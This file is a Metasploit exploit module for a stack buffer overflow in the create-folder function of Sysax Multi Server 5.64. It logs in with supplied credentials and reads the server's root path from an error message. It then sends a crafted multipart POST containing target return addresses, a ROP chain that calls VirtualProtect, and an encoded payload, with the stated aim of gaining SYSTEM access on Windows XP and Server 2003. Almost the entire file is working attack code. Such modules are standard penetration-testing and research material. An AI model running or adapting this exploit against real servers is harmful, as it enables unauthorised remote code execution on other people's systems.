##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#	http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'		=> 'Sysax Multi Server 5.64 Create Folder Buffer Overflow',
			'Description'	=> %q{
					This module exploits a stack buffer overflow in the create folder function in
				Sysax Multi Server 5.64. This issue was fixed in 5.66. In order to trigger the
				vulnerability valid credentials with the create folder permission must be provided.
				The HTTP option must be enabled on Sysax too.

				This module will log into the server, get a SID token, find the root folder, and
				then proceed to exploit the server. Successful exploits result in SYSTEM access.
				This exploit works on XP SP3, and Server 2003 SP1-SP2.
			},
			'License'	=> MSF_LICENSE,
			'Author'	=>
				[
					'Craig Freyman',         #Original discovery for the overflow
					'Matt "hostess" Andreko' #More reliable attack vector
				],
			'References'	=>
				[
					[ 'OSVDB', '82329' ],
					[ 'EDB', '20676' ],
					[ 'EDB', '18420' ],
					[ 'URL', 'http://www.pwnag3.com/2012/01/sysax-multi-server-550-exploit.html' ],
					[ 'URL', 'http://www.mattandreko.com/2012/07/sysax-564-http-remote-buffer-overflow.html' ]
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Platform'	=> 'win',
			'Payload'	=>
				{
					'BadChars'		=> "\x00\x2F\x0d\x0a", # 0d and 0a are only bad, due to the Rex::MIME replacing 0d with 0d0a in the message#to_s
					'Space'			=> '1299',
					'DisableNops'	=> true,
				},

			'Targets'		=>
				[
					[ 'Windows XP SP3 / Sysax Multi Server 5.64',
						{
							'Rop'		=>	 false,
							'Ret'		=>	 0x77c35459, # push esp #  ret [msvcrt.dll]
							'Offset'	=>	  711,
						}
					],
					[ 'Windows 2003 SP1-SP2 / Sysax Multi Server 5.64',
						{
							'Rop'		=>	 true,
							'Ret'		=>	 0x77baf605, # pop esi; pop ebp; retn 0c; [msvcrt.dll] (pivot)
							'Offset'	=>	 711,
							'Nop'		=>	 0x77bd7d82, # RETN (ROP NOP) [msvcrt.dll]
						}
					],
				],
			'Privileged'	=> true,
			'DisclosureDate'=> 'Jul 29 2012',
			'DefaultTarget' => 0))

		register_options(
				[
					OptString.new('TARGETURI', [true, 'The URI path to the Sysax web application', '/']),
					Opt::RPORT(80),
					OptString.new('SysaxUSER', [ true, "Username" ]),
					OptString.new('SysaxPASS', [ true, "Password" ])
				], self.class)

	end

	def create_rop_chain()
		rop_gadgets = []

		# ROP chains provided by Corelan.be
		# https://www.corelan.be/index.php/security/corelan-ropdb/#msvcrtdll_8211_v7037903959_Windows_2003_SP1_SP2
		if (target == targets[1]) # Windows 2003
			rop_gadgets =
			[
				0x77be3adb, # POP EAX # RETN [msvcrt.dll]
				0x77ba1114, # ptr to &VirtualProtect() [IAT msvcrt.dll]
				0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN [msvcrt.dll]
				0x41414141, # Filler (compensate)
				0x77bb0c86, # XCHG EAX,ESI # RETN [msvcrt.dll]
				0x77bdb896, # POP EBP # RETN [msvcrt.dll]
				0x77be2265, # & push esp #	ret	 [msvcrt.dll]
				0x77bdeebf, # POP EAX # RETN [msvcrt.dll]
				0x2cfe0668, # put delta into eax (-> put 0x00000201 into ebx)
				0x77bdfb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
				0x77bdfe37, # ADD EBX,EAX # OR EAX,3000000 # RETN [msvcrt.dll]
				0x77bdf0da, # POP EAX # RETN [msvcrt.dll]
				0x2cfe04a7, # put delta into eax (-> put 0x00000040 into edx)
				0x77bdfb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
				0x77bb8285, # XCHG EAX,EDX # RETN [msvcrt.dll]
				0x77bcc2ee, # POP ECX # RETN [msvcrt.dll]
				0x77befbb4, # &Writable location [msvcrt.dll]
				0x77bbf75e, # POP EDI # RETN [msvcrt.dll]
				0x77bd7d82, # RETN (ROP NOP) [msvcrt.dll]
				0x77bdf0da, # POP EAX # RETN [msvcrt.dll]
				0x90909090, # nop
				0x77be6591, # PUSHAD # ADD AL,0EF # RETN [msvcrt.dll]
			].flatten.pack("V*")
		end

		return rop_gadgets

	end

	def get_sid

		user = datastore['SysaxUSER']
		pass = datastore['SysaxPASS']

		creds = "fd=#{Rex::Text.encode_base64(user+"\x0a"+pass)}"
		uri = target_uri.path
		# Login to get SID value
		r = send_request_cgi({
			'method' => "POST",
			'uri'    => normalize_uri("#{uri}/scgi?sid=0&pid=dologin"),
			'data'   => creds
		})

		# Parse response for SID token
		sid = r.body.match(/sid=([A-Z0-9a-z]{40})/)[1]
		print_status "SID: #{sid.to_s}"

		sid.to_s

	end

	def get_root_path(sid)

		# Find the path because it's used to help calculate the offset
		random_folder_name = rand_text_alpha(8) # This folder should not exist in the root dir
		uri = normalize_uri(target_uri.path)
		r = send_request_cgi({
			'uri' => normalize_uri("#{uri}/scgi?sid=#{sid}&pid=transferpage2_name1_#{random_folder_name}.htm"),
			'method' => 'POST',
		})

		# Example message: invalid path: C:\Documents and Settings\Administrator\Desktop\9dk2hdh2.
		# Root Path should be C:\Documents and Settings\Administrator\Desktop  (no trailing slash)
		root_path = r.body.match(/^invalid path: (.*)\\#{random_folder_name}\.$/)[1]
		print_status "Root Dir: #{root_path}"

		root_path

	end

	def exploit

		connect

		sid = get_sid
		root_path = get_root_path(sid)

		buffer = rand_text(target['Offset']-root_path.length)
		buffer << [target.ret].pack('V')

		if (target['Rop'])
			buffer << [target['Nop']].pack('V')*16
			buffer << create_rop_chain()
		end

		buffer << make_nops(15)
		buffer << payload.encoded

		post_data = Rex::MIME::Message.new
		post_data.add_part(buffer, nil, nil, "form-data; name=\"e2\"")
		post_data.bound = rand_text_numeric(57) # example; "---------------------------12816808881949705206242427669"
		uri = normalize_uri(target_uri.path)
		r = send_request_cgi({
			'uri'	  => normalize_uri("#{uri}/scgi?sid=#{sid}&pid=mk_folder2_name1.htm"),
			'method'  => 'POST',
			'data'	  => post_data.to_s,
			'ctype'	  => "multipart/form-data; boundary=#{post_data.bound}",
		})

		disconnect

	end
end